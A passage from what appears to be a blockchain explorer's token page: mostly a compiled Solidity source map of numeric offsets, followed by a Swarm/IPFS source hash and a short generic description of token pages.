1:-1:-1::0;;5623:6:0;:14;;-1:-1:-1;;;;5623:14:0;;;-1:-1:-1;;;;13571:483:0:o;10896:92::-;10953:10;;:27;;-1:-1:-1;;;;;10953:10:0;;;;:27;;;;;10973:6;;10953:10;:27;:10;:27;10973:6;10953:10;:27;;;;;;;;;;;;;;;;;;;;;10896:92;:::o;235:179::-;293:7;;325:5;329:1;325;:5;:::i;:::-;313:17;;354:1;349;:6;;341:46;;;;-1:-1:-1;;;341:46:0;;10516:2:1;341:46:0;;;10498:21:1;10555:2;10535:18;;;10528:30;10594:29;10574:18;;;10567:57;10641:18;;341:46:0;10314:351:1;562:190:0;648:7;684:12;676:6;;;;668:29;;;;-1:-1:-1;;;668:29:0;;;;;;;;:::i;:::-;-1:-1:-1;708:9:0;720:5;724:1;720;:5;:::i;:::-;708:17;562:190;-1:-1:-1;;;;;562:190:0:o;1148:189::-;1234:7;1269:12;1262:5;1254:28;;;;-1:-1:-1;;;1254:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1293:9:0;1305:5;1309:1;1305;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5081:251::-;5151:6;5204:2;5192:9;5183:7;5179:23;5175:32;5172:52;;;5220:1;5217;5210:12;5172:52;5252:9;5246:16;5271:31;5296:5;5271:31;:::i;5337:127::-;5398:10;5393:3;5389:20;5386:1;5379:31;5429:4;5426:1;5419:15;5453:4;5450:1;5443:15;5469:461;5522:3;5560:5;5554:12;5587:6;5582:3;5575:19;5613:4;5642:2;5637:3;5633:12;5626:19;;5679:2;5672:5;5668:14;5700:1;5710:195;5724:6;5721:1;5718:13;5710:195;;;5789:13;;-1:-1:-1;;;;;5785:39:1;5773:52;;5845:12;;;;5880:15;;;;5821:1;5739:9;5710:195;;;-1:-1:-1;5921:3:1;;5469:461;-1:-1:-1;;;;;5469:461:1:o;5935:510::-;6206:6;6195:9;6188:25;6249:3;6244:2;6233:9;6229:18;6222:31;6169:4;6270:57;6322:3;6311:9;6307:19;6299:6;6270:57;:::i;:::-;-1:-1:-1;;;;;6363:32:1;;;;6358:2;6343:18;;6336:60;-1:-1:-1;6427:2:1;6412:18;6405:34;6262:65;5935:510;-1:-1:-1;;5935:510:1:o;6830:277::-;6897:6;6950:2;6938:9;6929:7;6925:23;6921:32;6918:52;;;6966:1;6963;6956:12;6918:52;6998:9;6992:16;7051:5;7044:13;7037:21;7030:5;7027:32;7017:60;;7073:1;7070;7063:12;8522:306;8610:6;8618;8626;8679:2;8667:9;8658:7;8654:23;8650:32;8647:52;;;8695:1;8692;8685:12;8647:52;8724:9;8718:16;8708:26;;8774:2;8763:9;8759:18;8753:25;8743:35;;8818:2;8807:9;8803:18;8797:25;8787:35;;8522:306;;;;;:::o;8833:125::-;8898:9;;;8919:10;;;8916:36;;;8932:18;;:::i;8963:135::-;9002:3;9023:17;;;9020:43;;9043:18;;:::i;:::-;-1:-1:-1;9090:1:1;9079:13;;8963:135::o;9103:217::-;9143:1;9169;9159:132;;9213:10;9208:3;9204:20;9201:1;9194:31;9248:4;9245:1;9238:15;9276:4;9273:1;9266:15;9159:132;-1:-1:-1;9305:9:1;;9103:217::o;9727:582::-;10026:6;10015:9;10008:25;10069:6;10064:2;10053:9;10049:18;10042:34;10112:3;10107:2;10096:9;10092:18;10085:31;9989:4;10133:57;10185:3;10174:9;10170:19;10162:6;10133:57;:::i;:::-;-1:-1:-1;;;;;10226:32:1;;;;10221:2;10206:18;;10199:60;-1:-1:-1;10290:3:1;10275:19;10268:35;10125:65;9727:582;-1:-1:-1;;;9727:582:1:o;10670:128::-;10737:9;;;10758:11;;;10755:37;;;10772:18;;:::i

Swarm Source

ipfs://07e61ce3b2dcdf2a433e2c498cdd24909893f67a833df32f9f03e272568d3471
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.